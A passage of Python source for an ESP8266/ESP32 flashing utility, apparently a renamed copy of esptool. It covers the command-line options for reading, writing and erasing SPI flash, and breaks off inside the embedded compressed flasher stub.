read_flash_status(esp, args):\n print('Status value: 0x%04x' % esp.read_status(args.bytes))\n\n\ndef write_flash_status(esp, args):\n fmt = \"0x%%0%dx\" % (args.bytes * 2)\n args.value = args.value & ((1 << (args.bytes * 8)) - 1)\n print(('Initial flash status: ' + fmt) % esp.read_status(args.bytes))\n print(('Setting flash status: ' + fmt) % args.value)\n esp.write_status(args.value, args.bytes, args.non_volatile)\n print(('After flash status: ' + fmt) % esp.read_status(args.bytes))\n\n\ndef version(args):\n print(__version__)\n\n\n#\n\n#\n\n\ndef main(custom_commandline=None):\n parser = argparse.ArgumentParser(description='flashapi.py v%s - ESP8266 ROM Bootloader Utility' % __version__, prog='flashapi')\n\n parser.add_argument('--chip', '-c',\n help='Target chip type',\n choices=['auto', 'esp8266', 'esp32'],\n default=os.environ.get('flashapi_CHIP', 'auto'))\n\n parser.add_argument(\n '--port', '-p',\n help='Serial port device',\n default=os.environ.get('flashapi_PORT', None))\n\n parser.add_argument(\n '--baud', '-b',\n help='Serial port baud rate used when flashing/reading',\n type=arg_auto_int,\n default=os.environ.get('flashapi_BAUD', ESPLoader.ESP_ROM_BAUD))\n\n parser.add_argument(\n '--before',\n help='What to do before connecting to the chip',\n choices=['default_reset', 'no_reset', 'no_reset_no_sync'],\n default=os.environ.get('flashapi_BEFORE', 'default_reset'))\n\n parser.add_argument(\n '--after', '-a',\n help='What to do after flashapi.py is finished',\n choices=['hard_reset', 'soft_reset', 'no_reset'],\n default=os.environ.get('flashapi_AFTER', 'hard_reset'))\n\n parser.add_argument(\n '--no-stub',\n help=\"Disable launching the flasher stub, only talk to ROM bootloader. Some features will not be available.\",\n action='store_true')\n\n parser.add_argument(\n '--trace', '-t',\n help=\"Enable trace-level output of flashapi.py interactions.\",\n action='store_true')\n\n parser.add_argument(\n '--override-vddsdio',\n help=\"Override ESP32 VDDSDIO internal voltage regulator (use with care)\",\n choices=ESP32ROM.OVERRIDE_VDDSDIO_CHOICES,\n nargs='?')\n\n subparsers = parser.add_subparsers(\n dest='operation',\n help='Run flashapi {command} -h for additional help')\n\n def add_spi_connection_arg(parent):\n parent.add_argument('--spi-connection', '-sc', help='ESP32-only argument. Override default SPI Flash connection. ' +\n 'Value can be SPI, HSPI or a comma-separated list of 5 I/O numbers to use for SPI flash (CLK,Q,D,HD,CS).',\n action=SpiConnectionAction)\n\n parser_load_ram = subparsers.add_parser(\n 'load_ram',\n help='Download an image to RAM and execute')\n parser_load_ram.add_argument('filename', help='Firmware image')\n\n parser_dump_mem = subparsers.add_parser(\n 'dump_mem',\n help='Dump arbitrary memory to disk')\n parser_dump_mem.add_argument('address', help='Base address', type=arg_auto_int)\n parser_dump_mem.add_argument('size', help='Size of region to dump', type=arg_auto_int)\n parser_dump_mem.add_argument('filename', help='Name of binary dump')\n\n parser_read_mem = subparsers.add_parser(\n 'read_mem',\n help='Read arbitrary memory location')\n parser_read_mem.add_argument('address', help='Address to read', type=arg_auto_int)\n\n parser_write_mem = subparsers.add_parser(\n 'write_mem',\n help='Read-modify-write to arbitrary memory location')\n parser_write_mem.add_argument('address', help='Address to write', type=arg_auto_int)\n parser_write_mem.add_argument('value', help='Value', type=arg_auto_int)\n parser_write_mem.add_argument('mask', help='Mask of bits to write', type=arg_auto_int)\n\n def add_spi_flash_subparsers(parent, is_elf2image):\n\n extra_keep_args = [] if is_elf2image else ['keep']\n auto_detect = not is_elf2image\n\n if auto_detect:\n extra_fs_message = \", detect, or keep\"\n else:\n extra_fs_message = \"\"\n\n parent.add_argument('--flash_freq', '-ff', help='SPI Flash frequency',\n choices=extra_keep_args + ['40m', '26m', '20m', '80m'],\n default=os.environ.get('flashapi_FF', '40m' if is_elf2image else 'keep'))\n parent.add_argument('--flash_mode', '-fm', help='SPI Flash mode',\n choices=extra_keep_args + ['qio', 'qout', 'dio', 'dout'],\n default=os.environ.get('flashapi_FM', 'qio' if is_elf2image else 'keep'))\n parent.add_argument('--flash_size', '-fs', help='SPI Flash size in MegaBytes (1MB, 2MB, 4MB, 8MB, 16M)'\n ' plus ESP8266-only (256KB, 512KB, 2MB-c1, 4MB-c1)' + extra_fs_message,\n action=FlashSizeAction, auto_detect=auto_detect,\n default=os.environ.get('flashapi_FS', 'detect' if auto_detect else '1MB'))\n add_spi_connection_arg(parent)\n\n parser_write_flash = subparsers.add_parser(\n 'write_flash',\n help='Write a binary blob to flash')\n\n parser_write_flash.add_argument('addr_filename', metavar=' ', help='Address followed by binary filename, separated by space',\n action=AddrFilenamePairAction)\n parser_write_flash.add_argument('--erase-all', '-e',\n help='Erase all regions of flash (not just write areas) before programming',\n action=\"store_true\")\n\n add_spi_flash_subparsers(parser_write_flash, is_elf2image=False)\n parser_write_flash.add_argument('--no-progress', '-p', help='Suppress progress output', action=\"store_true\")\n parser_write_flash.add_argument('--verify', help='Verify just-written data on flash ' +\n '(mostly superfluous, data is read back during flashing)', action='store_true')\n parser_write_flash.add_argument('--encrypt', help='Encrypt before write ',\n action='store_true')\n parser_write_flash.add_argument('--ignore-flash-encryption-efuse-setting', help='Ignore flash encryption efuse settings ',\n action='store_true')\n\n compress_args = parser_write_flash.add_mutually_exclusive_group(required=False)\n compress_args.add_argument('--compress', '-z', help='Compress data in transfer (default unless --no-stub is specified)', action=\"store_true\", default=None)\n compress_args.add_argument('--no-compress', '-u', help='Disable data compression during transfer (default if --no-stub is specified)', action=\"store_true\")\n\n subparsers.add_parser(\n 'run',\n help='Run application code in flash')\n\n parser_image_info = subparsers.add_parser(\n 'image_info',\n help='Dump headers from an application image')\n parser_image_info.add_argument('filename', help='Image file to parse')\n\n parser_make_image = subparsers.add_parser(\n 'make_image',\n help='Create an application image from binary files')\n parser_make_image.add_argument('output', help='Output image file')\n parser_make_image.add_argument('--segfile', '-f', action='append', help='Segment input file')\n parser_make_image.add_argument('--segaddr', '-a', action='append', help='Segment base address', type=arg_auto_int)\n parser_make_image.add_argument('--entrypoint', '-e', help='Address of entry point', type=arg_auto_int, default=0)\n\n parser_elf2image = subparsers.add_parser(\n 'elf2image',\n help='Create an application image from ELF file')\n parser_elf2image.add_argument('input', help='Input ELF file')\n parser_elf2image.add_argument('--output', '-o', help='Output filename prefix (for version 1 image), or filename (for version 2 single image)', type=str)\n parser_elf2image.add_argument('--version', '-e', help='Output image version', choices=['1', '2'], default='1')\n parser_elf2image.add_argument('--secure-pad', action='store_true', help='Pad image so once signed it will end on a 64KB boundary. For ESP32 images only.')\n parser_elf2image.add_argument('--elf-sha256-offset', help='If set, insert SHA256 hash (32 bytes) of the input ELF file at specified offset in the binary.',\n type=arg_auto_int, default=None)\n\n add_spi_flash_subparsers(parser_elf2image, is_elf2image=True)\n\n subparsers.add_parser(\n 'read_mac',\n help='Read MAC address from OTP ROM')\n\n subparsers.add_parser(\n 'chip_id',\n help='Read Chip ID from OTP ROM')\n\n parser_flash_id = subparsers.add_parser(\n 'flash_id',\n help='Read SPI flash manufacturer and device ID')\n add_spi_connection_arg(parser_flash_id)\n\n parser_read_status = subparsers.add_parser(\n 'read_flash_status',\n help='Read SPI flash status register')\n\n add_spi_connection_arg(parser_read_status)\n parser_read_status.add_argument('--bytes', help='Number of bytes to read (1-3)', type=int, choices=[1, 2, 3], default=2)\n\n parser_write_status = subparsers.add_parser(\n 'write_flash_status',\n help='Write SPI flash status register')\n\n add_spi_connection_arg(parser_write_status)\n parser_write_status.add_argument('--non-volatile', help='Write non-volatile bits (use with caution)', action='store_true')\n parser_write_status.add_argument('--bytes', help='Number of status bytes to write (1-3)', type=int, choices=[1, 2, 3], default=2)\n parser_write_status.add_argument('value', help='New value', type=arg_auto_int)\n\n parser_read_flash = subparsers.add_parser(\n 'read_flash',\n help='Read SPI flash content')\n add_spi_connection_arg(parser_read_flash)\n parser_read_flash.add_argument('address', help='Start address', type=arg_auto_int)\n parser_read_flash.add_argument('size', help='Size of region to dump', type=arg_auto_int)\n parser_read_flash.add_argument('filename', help='Name of binary dump')\n parser_read_flash.add_argument('--no-progress', '-p', help='Suppress progress output', action=\"store_true\")\n\n parser_verify_flash = subparsers.add_parser(\n 'verify_flash',\n help='Verify a binary blob against flash')\n parser_verify_flash.add_argument('addr_filename', help='Address and binary file to verify there, separated by space',\n action=AddrFilenamePairAction)\n parser_verify_flash.add_argument('--diff', '-d', help='Show differences',\n choices=['no', 'yes'], default='no')\n add_spi_flash_subparsers(parser_verify_flash, is_elf2image=False)\n\n parser_erase_flash = subparsers.add_parser(\n 'erase_flash',\n help='Perform Chip Erase on SPI flash')\n add_spi_connection_arg(parser_erase_flash)\n\n parser_erase_region = subparsers.add_parser(\n 'erase_region',\n help='Erase a region of the flash')\n add_spi_connection_arg(parser_erase_region)\n parser_erase_region.add_argument('address', help='Start address (must be multiple of 4096)', type=arg_auto_int)\n parser_erase_region.add_argument('size', help='Size of region to erase (must be multiple of 4096)', type=arg_auto_int)\n\n subparsers.add_parser(\n 'version', help='Print flashapi version')\n\n for operation in subparsers.choices.keys():\n assert operation in globals(), \"%s should be a module function\" % operation\n\n expand_file_arguments()\n\n args = parser.parse_args(custom_commandline)\n\n if args.operation is None:\n # parser.print_help()\n print(\"This library is not intended to be run.\")\n\n sys.exit(1)\n\n operation_func = globals()[args.operation]\n\n if PYTHON2:\n\n operation_args = inspect.getargspec(operation_func).args\n else:\n operation_args = inspect.getfullargspec(operation_func).args\n\n if operation_args[0] == 'esp':\n if args.before != \"no_reset_no_sync\":\n initial_baud = min(ESPLoader.ESP_ROM_BAUD, args.baud)\n else:\n initial_baud = args.baud\n\n if args.port is None:\n ser_list = sorted(ports.device for ports in list_ports.comports())\n print(\"Found %d serial ports\" % len(ser_list))\n else:\n ser_list = [args.port]\n esp = None\n for each_port in reversed(ser_list):\n print(\"Serial port %s\" % each_port)\n try:\n if args.chip == 'auto':\n esp = ESPLoader.detect_chip(each_port, initial_baud, args.before, args.trace)\n else:\n chip_class = {\n 'esp8266': ESP8266ROM,\n 'esp32': ESP32ROM,\n }[args.chip]\n esp = chip_class(each_port, initial_baud, args.trace)\n esp.connect(args.before)\n break\n except (FatalError, OSError) as err:\n if args.port is not None:\n raise\n print(\"%s failed to connect: %s\" % (each_port, err))\n esp = None\n if esp is None:\n raise FatalError(\"Could not connect to an Espressif device on any of the %d available serial ports.\" % len(ser_list))\n\n read_mac(esp, args)\n\n if not args.no_stub:\n esp = esp.run_stub()\n\n if args.override_vddsdio:\n esp.override_vddsdio(args.override_vddsdio)\n\n if args.baud > initial_baud:\n try:\n esp.change_baud(args.baud)\n except NotImplementedInROMError:\n print(\"WARNING: ROM doesn't support changing baud rate. Keeping initial baud rate %d\" % initial_baud)\n\n if hasattr(args, \"spi_connection\") and args.spi_connection is not None:\n if esp.CHIP_NAME != \"ESP32\":\n raise FatalError(\"Chip %s does not support --spi-connection option.\" % esp.CHIP_NAME)\n print(\"Configuring SPI flash mode...\")\n esp.flash_spi_attach(args.spi_connection)\n elif args.no_stub:\n print(\"Enabling default SPI flash mode...\")\n\n esp.flash_spi_attach(0)\n\n if hasattr(args, \"flash_size\"):\n print(\"Configuring flash size...\")\n detect_flash_size(esp, args)\n if args.flash_size != 'keep':\n esp.flash_set_parameters(flash_size_bytes(args.flash_size))\n\n try:\n operation_func(esp, args)\n finally:\n try:\n for address, argfile in args.addr_filename:\n argfile.close()\n except AttributeError:\n pass\n\n if operation_func == load_ram:\n\n print('Exiting immediately.')\n elif args.after == 'hard_reset':\n print('Flash Operation Complete!')\n esp.hard_reset()\n elif args.after == 'soft_reset':\n print('Soft resetting...')\n\n esp.soft_reset(False)\n else:\n print('Staying in bootloader.')\n if esp.IS_STUB:\n esp.soft_reset(True)\n\n esp._port.close()\n\n else:\n operation_func(args)\n\n\ndef expand_file_arguments():\n new_args = []\n expanded = False\n for arg in sys.argv:\n if arg.startswith(\"@\"):\n expanded = True\n with open(arg[1:], \"r\") as f:\n for line in f.readlines():\n new_args += shlex.split(line)\n else:\n new_args.append(arg)\n if expanded:\n print(\"flashapi.py %s\" % (\" \".join(new_args[1:])))\n sys.argv = new_args\n\n\nclass FlashSizeAction(argparse.Action):\n def __init__(self, option_strings, dest, nargs=1, auto_detect=False, **kwargs):\n super(FlashSizeAction, self).__init__(option_strings, dest, nargs, **kwargs)\n self._auto_detect = auto_detect\n\n def __call__(self, parser, namespace, values, option_string=None):\n try:\n value = {\n '2m': '256KB',\n '4m': '512KB',\n '8m': '1MB',\n '16m': '2MB',\n '32m': '4MB',\n '16m-c1': '2MB-c1',\n '32m-c1': '4MB-c1',\n }[values[0]]\n print(\"WARNING: Flash size arguments in megabits like '%s' are deprecated.\" % (values[0]))\n print(\"Please use the equivalent size '%s'.\" % (value))\n print(\"Megabit arguments may be removed in a future release.\")\n except KeyError:\n value = values[0]\n\n known_sizes = dict(ESP8266ROM.FLASH_SIZES)\n known_sizes.update(ESP32ROM.FLASH_SIZES)\n if self._auto_detect:\n known_sizes['detect'] = 'detect'\n known_sizes['keep'] = 'keep'\n if value not in known_sizes:\n raise argparse.ArgumentError(self, '%s is not a known flash size. Known sizes: %s' % (value, \", \".join(known_sizes.keys())))\n setattr(namespace, self.dest, value)\n\n\nclass SpiConnectionAction(argparse.Action):\n def __call__(self, parser, namespace, value, option_string=None):\n if value.upper() == \"SPI\":\n value = 0\n elif value.upper() == \"HSPI\":\n value = 1\n elif \",\" in value:\n values = value.split(\",\")\n if len(values) != 5:\n raise argparse.ArgumentError(self, '%s is not a valid list of comma-separate pin numbers. Must be 5 numbers - CLK,Q,D,HD,CS.' % value)\n try:\n values = tuple(int(v, 0) for v in values)\n except ValueError:\n raise argparse.ArgumentError(self, '%s is not a valid argument. All pins must be numeric values' % values)\n if any([v for v in values if v > 33 or v < 0]):\n raise argparse.ArgumentError(self, 'Pin numbers must be in the range 0-33.')\n\n clk, q, d, hd, cs = values\n value = (hd << 24) | (cs << 18) | (d << 12) | (q << 6) | clk\n else:\n raise argparse.ArgumentError(self, '%s is not a valid spi-connection value. ' +\n 'Values are SPI, HSPI, or a sequence of 5 pin numbers CLK,Q,D,HD,CS).' % value)\n setattr(namespace, self.dest, value)\n\n\nclass AddrFilenamePairAction(argparse.Action):\n\n def __init__(self, option_strings, dest, nargs='+', **kwargs):\n super(AddrFilenamePairAction, self).__init__(option_strings, dest, nargs, **kwargs)\n\n def __call__(self, parser, namespace, values, option_string=None):\n\n pairs = []\n for i in range(0, len(values), 2):\n try:\n address = int(values[i], 0)\n except ValueError:\n raise argparse.ArgumentError(self, 'Address \"%s\" must be a number' % values[i])\n try:\n argfile = open(values[i + 1], 'rb')\n except IOError as e:\n raise argparse.ArgumentError(self, e)\n except IndexError:\n raise argparse.ArgumentError(self, 'Must be pairs of an address and the binary filename to write there')\n pairs.append((address, argfile))\n\n end = 0\n for address, argfile in sorted(pairs):\n argfile.seek(0, 2)\n size = argfile.tell()\n argfile.seek(0)\n sector_start = address & ~(ESPLoader.FLASH_SECTOR_SIZE - 1)\n sector_end = ((address + size + ESPLoader.FLASH_SECTOR_SIZE - 1) & ~(ESPLoader.FLASH_SECTOR_SIZE - 1)) - 1\n if sector_start < end:\n message = 'Detected overlap at address: 0x%x for file: %s' % (address, argfile.name)\n raise argparse.ArgumentError(self, message)\n end = sector_end\n setattr(namespace, self.dest, pairs)\n\n\nESP8266ROM.STUB_CODE = eval(zlib.decompress(base64.b64decode(b\"\"\"\n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